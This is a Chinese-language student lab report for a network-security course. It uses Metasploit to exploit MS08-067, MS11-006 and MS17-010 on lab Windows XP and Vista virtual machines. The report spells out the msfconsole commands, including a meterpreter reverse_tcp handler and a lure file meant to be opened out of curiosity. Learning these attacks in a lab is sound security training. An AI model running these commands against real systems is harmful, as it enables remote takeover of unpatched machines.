# NS_Project 3 :::info Group : **12345** Member : 洪聖洋 王昱翔 ::: ## Metasploit 介紹 參考自[Metasploit 初體驗](http://cyrilwang.pixnet.net/blog/post/25636519-metasploit-%E5%88%9D%E9%AB%94%E9%A9%97)介紹 : :::warning Metasploit提供滲透測試者一個整合的環境,進行相關的任務。當然,Metasploit因為提供了良好的擴充性,所以也可以成為安全研究人員研究弱點的工具。而且最重要的是,++這是免費使用而且是Open Source的工具++。 ::: 稍微整理一下,Metasloit是基於++Linux++的環境,存在許多系統漏洞,讓使用者對於資安方面做訓練 ## Metasploit 實作 ### Example1. Microsoft Security Bulletin MS08-067 - Critical #### Step1 架設 Metasploit VM 這邊可以利用之前助教上課提供的環境檔(參考[上課講義](https://itlab.ee.ncku.edu.tw/courses/NS_107/slide/10.%E7%B6%B2%E8%B7%AF%E6%8E%83%E6%8F%8F%E8%88%87%E6%BB%B2%E9%80%8F%E6%B8%AC%E8%A9%A6%E5%B7%A5%E5%85%B7%E5%8B%95%E6%89%8B%E7%8E%A9.pdf)),也可以到[Kali官網](https://www.kali.org/downloads/)下載image檔來使用,Kali會定期更新與維護,在這邊,我們選擇使用助教提供的Kali light來作為攻擊方的主機,Windows XP作為被攻擊的victim機 #### Step2 使用msfconsole :::warning [MSFconsole Commandsh](https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/) : 可以來這邊查看需要用什麼樣的指令做什麼事情 ::: * 在Kali使用msfconsole *  * 可以透過下help看一下metasploit framework有哪些指令可以下,大致上可按照下列類型分: * Core Commands * Module Commands * Job Commands * Resouce Script Commands * Database Backend Commands * Credentials Backend Commands * Developer Commands * 這邊先掃一下現在有哪台主機: `db_nmap -sn 10.0.2.17/24` *  * 上圖為-sn的指令意義 *  * 上圖可看出,另一個用VirtualBox所開啟的虛擬機(也就是Windows XP),ip為++10.0.2.17++ * 掃看看這台XP的服務: `db_nmap -A 10.0.2.18` , 這邊需要稍等5~10mins,即可看到該台主機OS相關資訊,如下 *  * 再來看看有什麼執行中的服務: *  * 搜尋針對windows 平台可利用之漏洞module: `search platform:windows type:exploit smb`,[SMB](https://zh.wikipedia.org/wiki/Samba)為linux與windows之間檔案共享之協定 *  * 選擇`#31 exploit/windows/smb/ms08_067_netapi`,關於此漏洞解釋可以參考[微軟說明](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067) * 使用這個module做攻擊: `use exploit/windows/smb/ms08_067_netapi`,使用後可以透過`show options`看有哪些選項可以使用 * 準備進攻!! : 下`set rhost 10.0.2.18`設定remote host,然後check是否可透過此漏洞攻擊:`check`,一開始我下check後,顯示的message是`Target is not exploitable`,於是查了幾篇遇到同樣問題的[文章](https://stackoverflow.com/questions/35506709/cant-create-a-session-with-ms08-067-netapi),顯示可能的原因有非常多種,包括像是已經==更新過補充包==來修補漏洞或是==系統版本不支援==等問題,我認為之所以會遇到可能是我虛擬機放著待機太久,可能已經自動更新了所以造成問題,於是我只好把虛擬機移除掉,重新匯入一樣的虛擬機,再做check就變成vulnerable了 *  * 再來就可以直接exploit了:  *  :::warning 到上面算是完成利用[ms08_067-Critical](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067)這個漏洞攻進XP系統,這個漏洞能讓我們對靶機做許多事情,甚至關掉靶機,要是攻擊目標正在執行重要的應用程式,想必損失慘重。 ::: ### Example2. Microsoft Security Bulletin MS11-006 :::info 這次測試看看這個漏洞,透過windows shell圖形化介面的漏洞嘗試著遠端執行程式碼。 參考: [Hacking Windows XP SP3 Via MS11-006 Windows Shell Graphics Processing Vulnerability](https://www.hacking-tutorial.com/hacking-tutorial/hacking-windows-xp-sp3-via-ms11-006-windows-shell-graphvulnerability/#sthash.ZxshmAPw.dpbs) ::: #### Step1 * `search platform:windows type:exploit fileformat` * `use exploit/windows/fileformat/ms11_006_createsizeddibsection ` *  * `set payload windows/meterpreter/reverse_tcp` *  #### Step2 產生惡意檔案 * `set filename secret.txt` : 製造一個檔案,要讓使用者因為好奇而點開 *  *  #### Step3 處理靶機的reverse connection :::info 這邊比較麻煩大致流程是先讓Kali這邊開443port監聽,等Victim開始這個文件(secrect.txt)後才算進行攻擊。 但這邊有個小盲點,就是要想辦法把這份文件傳送到靶機上,這邊我的作法是先將此惡意檔案傳到我的Host電腦,再直接塞進去靶機裡面 ::: ``` > use exploit/multi/handler > set payload windows/meterpreter/reverse_tcp > set lhost 10.0.2.17 > set lport 443 > exploit ``` *  * 接著到靶機(Windows XP)上開啟此檔案: *  * ==此時發現沒有動靜...發現這個漏洞只能打英文版的Windows XP...\= \=== *  * 於是我去灌了個英文版的XP虛擬機,重新做一次上述步驟,結果一樣沒用 = = *  * **乾...浪費時間**... 沒啦,我想可能是我下載的image已經針對這個漏洞做修補了,因為虛擬機之間的網路確實是通的,可能還要再進一步確認 ### Example3. Microsoft Security Bulletin MS17-010 :::info 這個漏洞一樣是利用windows的SAMBA伺服器的問題來進而造成可以遠端執行程式碼,有鑑於前面的失敗,想說這次先確認一下攻擊的目標,看起來可行後才決定不妨試試看能不能打。 **Reference**: 1. [A Guide to Exploiting MS17-010 With Metasploit](https://www.securenetworkinc.com/news/2017/9/7/a-guide-to-exploiting-ms17-010-with-metasploit) 2. [安裝靶機-Vista](https://www.tolgabagci.com/en/install-windows-vista-oracle-vm-virtualbox/) 3. [DEMO影片](https://www.youtube.com/watch?v=kHbkOKQBNk0&fbclid=IwAR2XUL_X_aqCG46PraoQcTHQYBFAyOvwKQZTrKxqtSFDUc_u1JlOl-LS1wk) ::: #### Step1 建立靶機環境 * 這次先參考了別人的攻擊影片,並且確認攻擊的系統 - Vista英文版 * 現在Vista的image檔比較難找,參考[這篇](https://www.tolgabagci.com/en/install-windows-vista-oracle-vm-virtualbox/)的安裝步驟,且也有提供Vista的載點 * 目標為Vista 64-bit英文版,安裝過程不贅述 * 安裝完畢後第一件事情就是網路設一設,然後++把防火牆關掉++ *  * 確認虛擬機之間網路有通後,這邊設定就算完成了 * 這台虛擬機的ip : `10.0.2.15` *  #### Step2 進攻前置作業 ``` > use auxiliary/scanner/smb/smb_ms17_010 > set rhosts 10.0.2.15 > run ``` * 下了`run`之後就可以確定這個漏洞是否可以進攻了,如下圖: *  * ==VULNERABLE==!!阿彌陀佛終於找到個漏洞可以搞了 #### Step3 遠端執行程式碼 * 利用MSF下的ms17_010_psexec這個module進行攻擊,參考[MSF下ms17_010_psexec模块使用技巧](https://www.cnblogs.com/backlion/p/8599692.html): ``` > use exploit/windows/smb/ms17_010_psexec > set rhosts 10.0.2.15 > exploit ``` *  *  * 成功了!這時候要怎麼搞這台靶機都可以,想關機也行 *  :::warning 到這邊算是完成利用MS17-010這個漏洞在Vista上進行攻擊了,過程中遇到的困難大概就是找到這個漏洞吧... ::: ### 總結 :::success 這次測試了三個漏洞,第一個漏洞是很容易找到資料來源的測試,並且測試成功,第二個雖然參考別人的步驟照做,但最後卻沒有成功打進去,查了一下受害目標,也換了英文版的OS(感覺應該是Target),但最後仍舊沒有成功,猜測可能是因為我下載的image檔已經有將此漏洞修補起來。第三個漏洞則是想說,感覺Vista好像也是常見的受害系統,問題一堆,於是搜尋看看是否有漏洞可以用才找到資料來源,實際測試後發現確實存在這個漏洞。 透過這次的作業,大概對metasploit有了認識,學習如何透過一些已知的系統漏洞進行攻擊,但是大部分的漏洞都是比較舊的系統(Window Vista, XP...),透過metasploit進行測試,對於一些基礎的資安攻防訓練確實蠻有幫助的。 ::: ## Reference 1. [Metasploit 初體驗](http://cyrilwang.pixnet.net/blog/post/25636519-metasploit-%E5%88%9D%E9%AB%94%E9%A9%97) 2. [Metasploit Unleashed – Free Ethical Hacking Course](https://www.offensive-security.com/metasploit-unleashed/) 3. [ms08_067-Critical](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067) 4. [演示使用Metasploit入侵Windows](http://topspeedsnail.com/kali-linux-n-hack-windows-xp/) 5. [Hacking Windows XP SP3 Via MS11-006 Windows Shell Graphics Processing Vulnerability](https://www.hacking-tutorial.com/hacking-tutorial/hacking-windows-xp-sp3-via-ms11-006-windows-shell-graphvulnerability/#sthash.ZxshmAPw.dpbs) 6. [Microsoft 資訊安全公告 MS17-010 - 重大](https://docs.microsoft.com/zh-tw/security-updates/securitybulletins/2017/ms17-010) 7. [A Guide to Exploiting MS17-010 With Metasploit](https://www.securenetworkinc.com/news/2017/9/7/a-guide-to-exploiting-ms17-010-with-metasploit) > ✓ > > [name=助教J] ###### tags: `ns107`
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up